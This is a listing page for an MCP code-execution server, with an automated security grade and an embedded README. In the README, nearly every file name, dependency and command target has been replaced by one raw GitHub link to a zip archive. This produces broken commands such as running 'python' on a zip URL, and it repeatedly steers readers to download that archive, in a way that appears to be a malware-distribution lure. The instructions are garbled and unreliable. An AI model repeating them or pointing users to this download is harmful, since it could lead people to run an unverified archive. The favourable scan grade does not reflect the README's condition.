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Code Mode MCP Server

Verified

πŸ€– Enable AI code generation using the Code Execution MCP Server, integrating large language models with the Model Context Protocol for seamless tool use.

python
developer tools
1stars
2forks
Scanned Oct 2, 2026
RepositoryGITHUB
Automated scan (limited checks) Β· 2026-10-02

This grade comes from an automated MCPSafe scan of the server's JavaScript, TypeScript and Python source on 2026-10-02. It read the whole repository (17 files). It checks for leaked credentials, shell or code injection from function inputs, unsafe deserialization, malware signatures, install-time scripts, and weak password handling. It does not check for path traversal, server-side request forgery, prompt injection in tool descriptions, network exposure, SQL injection, cross-site scripting, or vulnerable dependencies. It has not been manually reviewed, and the code may have changed since the scan.

A+100%
Scanned 1w ago

Excellent Security

Vulnerabilities Found
0Crit
0High
0Med
0Low
1Info

Trust Score 70

Usable with caution
Trust grade B

Trust is stricter than security: it combines reviewed security, MCP capability risk, supply-chain metadata, quality, popularity, freshness, and penalties for unknowns.

Security
100
MCP risk
64
Supply chain
80
Maintenance
55
Docs
93
Freshness
80
Risk traits
Runs shell commands
Filesystem access
Network/API access
Why it scores well
  • β€’ No reviewed severe vulnerabilities published
  • β€’ Good documentation surface
  • β€’ Solid supply-chain metadata
  • β€’ Recently scanned
What reduces confidence
  • β€’ Missing/unclear license
  • β€’ MCP risk traits: Runs shell commands, Filesystem access, Network/API access

Security ScoreA+

100
out of 100

Vulnerabilities Found

0
Crit
0
High
0
Medi
0
Low
1
Info
Last scanned: 10/2/2026

Quality ScoreC

59
out of 100
55
Maint.
5
Popular
93
Docs
72
Compat
Maintenance55%
Popularity5%
Documentation93%
Compatibility72%

Maintenance55

Unknown
Commit Frequency65%
Release Frequency35%
Issue Response65%

Popularity5

1
Stars
0
Downloads
2
Forks
Stars Score8%
Downloads Score0%
Forks Score11%

Documentation93

README Quality90%

Available Documentation

API DocsExamplesChangelog

Compatibility72

MCP Spec Compliance80%
Transport Support75%

Features

TypeScript

Supported Transports

STDIO

Vulnerabilities(0)

This grade comes from an automated scan. Individual findings from automated scans are not published.

READMECode Mode MCP Server

View source

πŸ–₯️ mcp-code-mode - Run Python Code with Ease

🌐 Download the Latest Version

![Download Now](https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip)

πŸš€ Getting Started

Welcome to the MCP Code Mode project! This application allows you to execute Python code safely while leveraging the power of AI. Follow the steps below to download and run the application.

1. πŸ’» Installation

To get started, you’ll need to set up your environment. This application requires Python 3.11 or higher and https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip 20 or higher.

Step-by-Step Installation:

  1. Create a Virtual Environment:

Open your terminal and run:

```bash

python3.11 -m venv .venv

source .venv/bin/activate

```

  1. Install Required Python Packages:

Next, use this command to install the necessary dependencies:

```bash

pip install -e .[dev]

```

  1. Install https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip Dependencies:

To ensure you have the latest packages for reference servers, run:

```bash

npm install -g npm@latest

```

2. πŸ› οΈ Configuration

Now that you have installed the application, it’s time to configure it.

Copy the Example Environment Settings:

To get started quickly, duplicate the example environment file:

bash
cp https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip .env

Configure Your MCP Servers:

Edit the https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip file. You will need to specify your MCP servers. Here’s an example of what it might look like:

json
{
  "servers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/your-working-folder"],
      "description": "Local file system server"
    }
  }
}

Replace "/your-working-folder" with the path to your working folder.

3. πŸ“₯ Download & Install

To download the application, visit this page: Download Releases.

Select the latest version and follow the instructions tailored for your operating system.

4. 🏁 Running the Application

After installation and configuration, it’s time to run the application. Use the following command in your terminal:

bash
python https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip

This will start the server, and you can interact with the AI agent through your browser or terminal interface.

5. πŸ“„ Features

  • AI-Powered Code Generation: The application uses AI to write Python code efficiently.
  • Isolated Code Execution: Ensures that your code runs in a safe environment, protecting your system.
  • Tool Integration: Easily integrates with Model Context Protocol tools for advanced functionalities.

6. πŸ“š Troubleshooting

If you encounter issues while running the application, consider the following steps:

  • Ensure that you have the correct versions of Python and https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip installed.
  • Double-check your configuration settings in .env and https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip.
  • Look for error messages in the terminal. They often provide helpful hints.

For further assistance, you can search for solutions on Stack Overflow or consult the repository's issues section.

7. 🀝 Contributing

If you would like to contribute to this project, please fork the repository and submit a pull request. Your input can help improve the application and benefit other users.

Conclusion

Thank you for using MCP Code Mode. We hope you enjoy running your Python code with ease and security. If you have any questions or feedback, feel free to reach out!

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Server Information

Source
GITHUB
Language
python
Transport
STDIO
Added
Aug 2, 2026
Updated
Oct 1, 2026